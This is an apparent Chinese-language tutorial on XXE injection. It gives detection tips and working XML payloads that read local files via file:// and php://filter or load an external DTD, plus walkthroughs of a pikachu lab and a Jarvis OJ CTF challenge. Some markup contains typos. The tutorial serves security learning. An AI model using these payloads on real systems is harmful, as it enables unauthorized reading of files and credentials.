XXE漏洞
XML概念
XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XMLExternal Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
XML与HTML的主要差异
XML被设计为传输和存储数据,其焦点是数据的内容。
HTML被设计用来显示数据,其焦点是数据的外观。
HTML旨在显示信息,而XML旨在传输信息。
XML示例
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档时note类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为"#PCDATA"类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为"#PCDATA"类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为"#PCDATA"类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为"#PCDATA"类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
看不懂的话复习一下https://lalajun.github.io/2019/12/03/WEB-XXE/
还有DTD:
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
XXE注入
XXE就是xml的漏洞,比如命令执行、文件读取、内网攻击
检测方法
- 看他的数据包是不是xml类型的数据,如果是那就直接上payload,不需要它post的内容
<?xml version="1.0"?>
<user>test</user><pass>pass</pass>
- 看它的MIME(Conetent-Type)是否为text/xml application/xml
- 盲注更改Conetent-Type的值,再将post的值改为xml的poyload类型,查看回显
利用方法
内部实体
内部实体
<?xml version = "1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTYTY rabbit SYSTEM "http://192.168.1.4:80/index.txt">
]>
<x>&rabbit;</x>
外部实体
外部实体
<?xml version = "1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1/evil2.dtd">
%file;
]>
<x>&send;</x>
//下面的是写入文件的
evil2.dtd:
<!ENTITY send SYSTEM "file:///d:/test.txt">
外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:
实例
pikachu靶场XML
不知道为什么我没有回显,源码显示也有回显,不懂啊,靶场越更新越麻烦,建议大家用旧版,我也不至于细看代码 了,反正下面的语句是一定可以用的
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=c:/phpstudy_pro/WWW/pikachu/vul/rce/rce.php" > ]>
<foo>&xxe;</foo
CTF-Jarvis-OJ-Web-XXE
先用nmap扫描IP和端口
ip:192.168.72.17
端口:80
直接访问没有实质性的结果
进行目录扫描,扫到有用的目录了/robots.txt
通过这个目录,又发现了/xxe/admin.php,打开发现需要登录,登录抓包,发现数据包POST请求的值为XML类型因此进行一下XXE注入。
接下来用XXEinjector工具进行注入就ok了
我直接上成功的payload(这是文件获取,并且base64加密)
<?xml version="1.0" ?><!DOCTYPE r [
<!ELEMENT r ANY>
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=./xxe.php">
]>
<root>
<name>
&sp;
</name>
<password>
hj
</password>
</root>
成功之后进行解密,可以查看./xxe.php的源码(当然这个不重要,我们需要的是admin.php)
同理,查看admin.php
从中看到账号和加密的密码,密码为MD5加密,进行解密
解密后为admin@123
最后进入192.168.72.17/xxe/admin.php进行登录
点击flag又不显示,看来还是让读取内容
而且此次的文件在跟目录,需要写./flagmeout.php
继续解码就能看到flag